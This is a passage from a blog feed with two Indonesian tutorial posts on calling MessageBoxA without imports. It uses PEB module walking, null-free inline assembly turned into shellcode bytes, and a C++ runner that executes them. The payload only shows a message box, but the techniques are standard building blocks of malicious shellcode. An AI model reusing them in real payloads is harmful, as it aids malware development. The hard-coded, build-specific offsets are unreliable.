&quot;MOV EBP,[ESI + 0x08]\n&quot;    //; EBP = InInitOrder[X].base_address
&quot;MOV EDI,[ESI + 0x20]\n&quot;    //; EBP = InInitOrder[X].module_name (unicode)
&quot;MOV ESI,[ESI]\n&quot;           //; ESI = InInitOrder[X].flink (next module)
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11111114\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;mov edx,ecx\n&quot;             //; ecx = 3 kernel32 berada di urutan ke 3 
&quot;CMP ebx,edx\n&quot;
&quot;JNE next_module1\n&quot;        //; No: mencoba module berikutnya.
                            //; EBP berisi base address kernel32
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11112111\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;add ebp,ecx\n&quot;             //; offset awal kernel32.dll
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11162975\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;mov eax,ecx\n&quot;                
&quot;add ebp,eax\n&quot;             //; EBP ditambah 51864 agar menjadi offset LoadLibrary A
//;---&amp;gt;Meload user32 library&amp;lt;---
//;memasukkan &#39;user32&#39; string ke stack
&quot;mov edx,esp\n&quot;
&quot;add edx,32\n&quot;
&quot;mov ecx,0x72657375\n&quot;      //;75657375h = &#39;user&#39; dalam format little endian
&quot;mov ds:[edx],ecx\n&quot;        //;memasukkan &#39;user&#39; ke stack
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11114344\n&quot;
&quot;sub ecx,eax\n&quot;             //;membuat ecx terisi oleh 3233h = &#39;32&#39; dalam format little endian
&quot;mov ds:[edx+4],ecx\n&quot;      //;memasukkan &#39;32&#39; ke stack
                            //;sekarang edx menjadi offset string &#39;user32&#39;
&quot;push edx\n&quot;                //;push &#39;user32&#39;
&quot;call ebp\n&quot;                //;Calling kernel32dll.LoadLibraryA
&quot;add esp,4\n&quot;
//;---&amp;gt;Menemukan Address MessageBoxA&amp;lt;---
&quot;XOR ESI,ESI\n&quot;
&quot;XOR ECX,ECX\n&quot;             //; ECX = 0
&quot;MOV ESI,FS:[ECX + 0x30]\n&quot; //; ESI = &amp;amp;(PEB) ([FS:0x30])
&quot;MOV ESI,[ESI + 0x0C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr
&quot;MOV ESI,[ESI + 0x1C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr.InInitOrder
&quot;xor ebx,ebx\n&quot;
&quot;next_module2:\n&quot;
&quot;inc ebx\n&quot;
&quot;MOV EBP,[ESI + 0x08]\n&quot;    //; EBP = InInitOrder[X].base_address
&quot;MOV EDI,[ESI + 0x20]\n&quot;    //; EBP = InInitOrder[X].module_name (unicode)
&quot;MOV ESI,[ESI]\n&quot;           //; ESI = InInitOrder[X].flink (next module)
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11111119\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;mov edx,ecx\n&quot;             //; ecx = 9 user32 berada di urutan ke 9 
&quot;CMP ebx,edx\n&quot;
&quot;JNE next_module2\n&quot;        //; No: mencoba module berikutnya.
                            //; EBP berisi base address user32
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11112111\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;add ebp,ecx\n&quot;             //; offset awal user32.dll
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x1116EB82\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;mov eax,ecx\n&quot;                
&quot;add ebp,eax\n&quot;             //; EBP ditambah 5DA71 agar menjadi offset MessageBoxA
//;---&amp;gt;Mempersiapkan String Untuk Judul Dan Isi Messagebox&amp;lt;---
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11111295\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;sub esp,ecx\n&quot;
//;offset edx judul &#39;MessageBoxA By Ayrbyte&#39;
&quot;mov edx,esp\n&quot;
&quot;mov ecx,0x7373654D\n&quot;      //;&#39;Mess&#39;
&quot;mov ds:[edx],ecx\n&quot;        
&quot;mov ecx,0x42656761\n&quot;      //;&#39;ageB&#39;
&quot;mov ds:[edx+4],ecx\n&quot;
&quot;mov ecx,0x2041786F\n&quot;      //;&#39;oxA &#39;
&quot;mov ds:[edx+8],ecx\n&quot;
&quot;mov ecx,0x41207942\n&quot;      //;&#39;By A&#39;
&quot;mov ds:[edx+12],ecx\n&quot;
&quot;mov ecx,0x79627279\n&quot;      //;&#39;yrby&#39;
&quot;mov ds:[edx+16],ecx\n&quot;
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11117685\n&quot;      
&quot;sub ecx,eax\n&quot;             //;&#39;te&#39;
&quot;mov ds:[edx+20],ecx\n&quot;
//;offset ebx+23 isi &#39;MessageBoxA &#39;the hard way&#39; By Ayrbyte&#39;
&quot;mov ebx,edx\n&quot;
&quot;add ebx,20\n&quot;
&quot;mov ecx,0x7373654d\n&quot;      //;&#39;Mess&#39;
&quot;mov ds:[ebx+4],ecx\n&quot;
&quot;mov ecx,0x42656761\n&quot;      //;&#39;ageB&#39;
&quot;mov ds:[ebx+8],ecx\n&quot;
&quot;mov ecx,0x2041786F\n&quot;      //;&#39;oxA &#39;
&quot;mov ds:[ebx+12],ecx\n&quot;
&quot;mov ecx,0x65687427\n&quot;      //;&#39;&#39;the&#39;
&quot;mov ds:[ebx+16],ecx\n&quot;
&quot;mov ecx,0x72616820\n&quot;      //;&#39; har&#39;
&quot;mov ds:[ebx+20],ecx\n&quot;
&quot;mov ecx,0x61772064\n&quot;      //;&#39;d wa&#39;
&quot;mov ds:[ebx+24],ecx\n&quot;
&quot;mov ecx,0x42202779\n&quot;      //;&#39;y&#39; B&#39;
&quot;mov ds:[ebx+28],ecx\n&quot;
&quot;mov ecx,0x79412079\n&quot;      //;&#39;y Ay&#39;
&quot;mov ds:[ebx+32],ecx\n&quot;
&quot;mov ecx,0x74796272\n&quot;      //;&#39;rbyt&#39;
&quot;mov ds:[ebx+36],ecx\n&quot;
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11111176\n&quot;   
&quot;sub ecx,eax\n&quot;             //;&#39;e&#39;
&quot;mov ds:[ebx+40],ecx\n&quot;
&quot;add ebx,4\n&quot;
//;---&amp;gt;Calling MessageBoxA&amp;lt;---
&quot;xor eax,eax\n&quot;            //; eax = NULL / 0
&quot;push eax\n&quot;
&quot;push edx\n&quot;
&quot;push ebx\n&quot;
&quot;push eax\n&quot;
&quot;call ebp\n&quot;               //;calling user32.MessageBoxA
//;---&amp;gt;Calling ExitProcess&amp;lt;---
&quot;XOR ESI,ESI\n&quot;
&quot;XOR ECX,ECX\n&quot;             //; ECX = 0
&quot;MOV ESI,FS:[ECX + 0x30]\n&quot; //; ESI = &amp;amp;(PEB) ([FS:0x30])
&quot;MOV ESI,[ESI + 0x0C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr
&quot;MOV ESI,[ESI + 0x1C]\n&quot;    //; ESI = PEB-&amp;gt;Ldr.InInitOrder
&quot;xor ebx,ebx\n&quot;
&quot;next_module3:\n&quot;
&quot;inc ebx\n&quot;
&quot;MOV EBP,[ESI + 0x08]\n&quot;    //; EBP = InInitOrder[X].base_address
&quot;MOV EDI,[ESI + 0x20]\n&quot;    //; EBP = InInitOrder[X].module_name (unicode)
&quot;MOV ESI,[ESI]\n&quot;           //; ESI = InInitOrder[X].flink (next module)
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11111113\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;mov edx,ecx\n&quot;             //; ecx = 3 KERNELBASEDLL berada di urutan ke 3 
&quot;CMP ebx,edx\n&quot;
&quot;JNE next_module3\n&quot;        //; No: mencoba module berikutnya.
                            //; EBP berisi base address user32
&quot;mov eax,0x11111111\n&quot;
&quot;mov ecx,0x11142637\n&quot;
&quot;sub ecx,eax\n&quot;
&quot;add ebp,ecx\n&quot;
&quot;call ebp\n&quot;                //; Calling KERNELBASEDLL.ExitProcess
//Kembali Menggunakan AT&amp;amp;T/UNIX assembly syntax
&quot;.att_syntax noprefix\n&quot;
&quot;ret\n&quot;
);}


&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Code di atas tidak menggunakan string 0x00 karna itu bisa dubuat dalam bentuk shellcode juga ^_^&lt;br /&gt;
berikut bentuk Shellcodenya :&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;background-color: #eeeeee; border: 1px dashed #0000FF; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;
#include &amp;lt;iostream&amp;gt;
using namespace std;

char code[] =  
&quot;\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E&quot;
&quot;\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11\x11\x11\xB9\x14\x11\x11\x11\x2B\xC8\x8B&quot;
&quot;\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9&quot;
&quot;\xB8\x11\x11\x11\x11\xB9\x75\x29\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\x8B\xD4\x83&quot;
&quot;\xC2\x20\xB9\x75\x73\x65\x72\x89\x0A\xB8\x11\x11\x11\x11\xB9\x44\x43\x11\x11&quot;
&quot;\x2B\xC8\x89\x4A\x04\x52\xFF\xD5\x83\xC4\x04\x33\xF6\x33\xC9\x64\x8B\x71\x30&quot;
&quot;\x8B\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11&quot;
&quot;\x11\x11\x11\xB9\x19\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11&quot;
&quot;\x11\x11\xB9\x11\x21\x11\x11\x2B\xC8\x03\xE9\xB8\x11\x11\x11\x11\xB9\x82\xEB&quot;
&quot;\x16\x11\x2B\xC8\x8B\xC1\x03\xE8\xB8\x11\x11\x11\x11\xB9\x95\x12\x11\x11\x2B&quot;
&quot;\xC8\x2B\xE1\x8B\xD4\xB9\x4D\x65\x73\x73\x89\x0A\xB9\x61\x67\x65\x42\x89\x4A&quot;
&quot;\x04\xB9\x6F\x78\x41\x20\x89\x4A\x08\xB9\x42\x79\x20\x41\x89\x4A\x0C\xB9\x79&quot;
&quot;\x72\x62\x79\x89\x4A\x10\xB8\x11\x11\x11\x11\xB9\x85\x76\x11\x11\x2B\xC8\x89&quot;
&quot;\x4A\x14\x8B\xDA\x83\xC3\x14\xB9\x4D\x65\x73\x73\x89\x4B\x04\xB9\x61\x67\x65&quot;
&quot;\x42\x89\x4B\x08\xB9\x6F\x78\x41\x20\x89\x4B\x0C\xB9\x27\x74\x68\x65\x89\x4B&quot;
&quot;\x10\xB9\x20\x68\x61\x72\x89\x4B\x14\xB9\x64\x20\x77\x61\x89\x4B\x18\xB9\x79&quot;
&quot;\x27\x20\x42\x89\x4B\x1C\xB9\x79\x20\x41\x79\x89\x4B\x20\xB9\x72\x62\x79\x74&quot;
&quot;\x89\x4B\x24\xB8\x11\x11\x11\x11\xB9\x76\x11\x11\x11\x2B\xC8\x89\x4B\x28\x83&quot;
&quot;\xC3\x04\x33\xC0\x50\x52\x53\x50\xFF\xD5\x33\xF6\x33\xC9\x64\x8B\x71\x30\x8B&quot;
&quot;\x76\x0C\x8B\x76\x1C\x33\xDB\x43\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\xB8\x11\x11&quot;
&quot;\x11\x11\xB9\x13\x11\x11\x11\x2B\xC8\x8B\xD1\x3B\xDA\x75\xE5\xB8\x11\x11\x11&quot;
&quot;\x11\xB9\x37\x26\x14\x11\x2B\xC8\x03\xE9\xFF\xD5&quot;;

int main(){((void (*)(void))code)();}

&lt;/code&gt;&lt;/pre&gt;
</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/2047600398346649984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/07/messagebox-hard-way-by-ayrbyte.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2047600398346649984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/2047600398346649984'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/07/messagebox-hard-way-by-ayrbyte.html' title='MessageBox The Hard Way By Ayrbyte'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgaks3g74sKb1xO37uDxPex8q8zIAqqAGVCPh25_wTebxBXbA6guUGCE2OQmy36jO3B4QFVj9kho10AiTD25ygdquJxUVj-rDxZcFsxQYyaG1YvleKBc_22pNilPn2gW10PoCSKyaLc7XQ/s72-c/Untitled.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8690548132506909115.post-4111183213849759158</id><published>2012-06-29T02:55:00.002-07:00</published><updated>2013-03-28T23:00:39.602-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="programming"/><title type='text'>Membuat MessageBox tanpa macro &#39;the hard way&#39; Part 2</title><content type='html'>Meneruskan tulisan yang kemarin... bagi yang belum lihat ini linknya...&lt;br /&gt;
&lt;a href=&quot;http://ayrbyte.blogspot.com/2012/06/calling-messageboxa-tanpa-macro-hard.html&quot; target=&quot;_blank&quot;&gt; Membuat MessageBox tanpa macro &#39;the hard way&#39;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ternyata user32.dll berada pada urutan ke 8... di bawah modul2 berikut...&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;ntdll.dll&lt;br /&gt;
KERNELBASE.dll&lt;br /&gt;
kernel32.dll&lt;br /&gt;
msvcrt.dll&lt;br /&gt;
USP10.dll&lt;br /&gt;
LPK.dll&lt;br /&gt;
GDI32.dll&lt;br /&gt;
user32.dll&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggZcETxP3nZ7ezvsb4CrmPY5vvTxOU7G9X24ejgphfHeAqyQgB4O22ODNp-L6F4AHEQaSB7JEZE3WjCXompGyM3PoRBhEFO2DmbhUw6hBgp8xiexwGdL8vtWmjIU1rQ2p5tHaTTWofjjs/s1600/1.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;
denga itu kita hanya perlu melakukan perulangan sebanyak 8x agar menemukan module user32.dll..., kemudian langkah selanjutnya masih sama seperti kemarin... ^_^&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiA9npucQvP_WTtWI5A0bj94XXq50rYSHFstIELUTgeDprJVoXhGB_sQKPI3iQHqK7HlWm1yp-75E-YWmB3dj08Jy2GyKJZ7LXayVmT5APhUidcdkIBSCd6BvPf5YS3iPc24arlpwt5b8/s1600/1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;287&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiA9npucQvP_WTtWI5A0bj94XXq50rYSHFstIELUTgeDprJVoXhGB_sQKPI3iQHqK7HlWm1yp-75E-YWmB3dj08Jy2GyKJZ7LXayVmT5APhUidcdkIBSCd6BvPf5YS3iPc24arlpwt5b8/s400/1.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
finallly code... :&lt;br /&gt;
&lt;br /&gt;
;Calling MessageBoxA tanpa macro &quot;the hard way&quot;&lt;br /&gt;
;by Ayrbyte&lt;br /&gt;
;using masm32 Compiler&lt;br /&gt;
include \masm32\include\masm32rt.inc &lt;br /&gt;
&lt;br /&gt;
.data&lt;br /&gt;
MyTitle db &quot;Testing MessageBoxA by Ayrbyte&quot;,0&lt;br /&gt;
MyText1 db &quot;Test Messagebox Dengan Macro by Ayrbyte&quot;,0&lt;br /&gt;
MyText2 db &quot;Test Calling MessageboxA Tanpa Macro by Ayrbyte&quot;,0&lt;br /&gt;
.code&lt;br /&gt;
start:&lt;br /&gt;
&lt;br /&gt;
;---&amp;amp;gt;MessageBox Menggunakan Macro&amp;amp;lt;---&lt;br /&gt;
&lt;br /&gt;
invoke MessageBox, NULL, addr MyText1, addr MyTitle, MB_OK &lt;br /&gt;
jmp tanpa_macro&lt;br /&gt;
&lt;br /&gt;
;---&amp;amp;gt;MessageBox Tanpa Macro&amp;amp;lt;---&lt;br /&gt;
&lt;br /&gt;
tanpa_macro:&lt;br /&gt;
ASSUME FS:NOTHING&lt;br /&gt;
XOR ESI,ESI&lt;br /&gt;
XOR ECX,ECX&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; ECX = 0&lt;br /&gt;
MOV ESI,FS:[ECX + 30h] ; ESI = &amp;amp;amp;(PEB) ([FS:0x30])&lt;br /&gt;
MOV ESI,[ESI + 0Ch]&amp;nbsp;&amp;nbsp;&amp;nbsp; ; ESI = PEB-&amp;amp;gt;Ldr&lt;br /&gt;
MOV ESI,[ESI + 1Ch]&amp;nbsp;&amp;nbsp;&amp;nbsp; ; ESI = PEB-&amp;amp;gt;Ldr.InInitOrder&lt;br /&gt;
xor ebx,ebx&lt;br /&gt;
next_module:&lt;br /&gt;
inc ebx&lt;br /&gt;
MOV EBP,[ESI + 08h]&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EBP = InInitOrder[X].base_address&lt;br /&gt;
MOV EDI,[ESI + 20h]&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EBP = InInitOrder[X].module_name (unicode)&lt;br /&gt;
MOV ESI,[ESI]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; ESI = InInitOrder[X].flink (next module)&lt;br /&gt;
mov edx,8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; user32.dll berada di urutan ke 8&lt;br /&gt;
CMP ebx,edx;&lt;br /&gt;
JNE next_module&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; No: mencoba module berikutnya.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EBP berisi base address user32&lt;br /&gt;
add ebp,1000h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; offset awal user32.dll&lt;br /&gt;
mov eax,5DA71h&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
add ebp,eax&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EBP ditambah 5DA71 agar menjadi offset MessageBoxA&lt;br /&gt;
xor edx,edx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ; EDX = NULL / 0&lt;br /&gt;
push EDX&lt;br /&gt;
push offset MyTitle&lt;br /&gt;
push offset MyText2&lt;br /&gt;
push EDX&lt;br /&gt;
call ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;calling MessageBoxA&lt;br /&gt;
ret 0&lt;br /&gt;
end start&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
progam di atas sudah saya test di windows 7 saya..., dan bisa di jalankan meskipun telah di restart berulang kali... ^_^ See You...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3HUHWiFzozMsv7yQ0mFkqo9oAEhXavQXvNnxY9kl_xCYuvx9rqaeWm1W2cuVo6PZ38Z3oScIim2sP0T3MRyrj-a7z47VtKfZKxFqaklHp40XSoWWq1x3VRmJ0PUq2P5FIuruLhK5256A/s1600/Untitled.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3HUHWiFzozMsv7yQ0mFkqo9oAEhXavQXvNnxY9kl_xCYuvx9rqaeWm1W2cuVo6PZ38Z3oScIim2sP0T3MRyrj-a7z47VtKfZKxFqaklHp40XSoWWq1x3VRmJ0PUq2P5FIuruLhK5256A/s400/Untitled.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://ayrbyte.blogspot.com/feeds/4111183213849759158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://ayrbyte.blogspot.com/2012/06/membuat-messagebox-tanpa-macro-hard-way.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4111183213849759158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8690548132506909115/posts/default/4111183213849759158'/><link rel='alternate' type='text/html' href='http://ayrbyte.blogspot.com/2012/06/membuat-messagebox-tanpa-macro-hard-way.html' title='Membuat MessageBox tanpa macro &#39;the hard way&#39; Part 2'/><author><name>Ayrbyte</name><uri>http://www.blogger.com/profile/13588330961721133792</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiA9npucQvP_WTtWI5A0bj94XXq50rYSHFstIELUTgeDprJVoXhGB_sQKPI3iQHqK7HlWm1yp-75E-YWmB3dj08Jy2GyKJZ7LXayVmT5APhUidcdkIBSCd6BvPf5YS3iPc24arlpwt5b8/s72-c/1.PNG" height="72" width="72"/><thr:total>0</thr:total></entry></feed>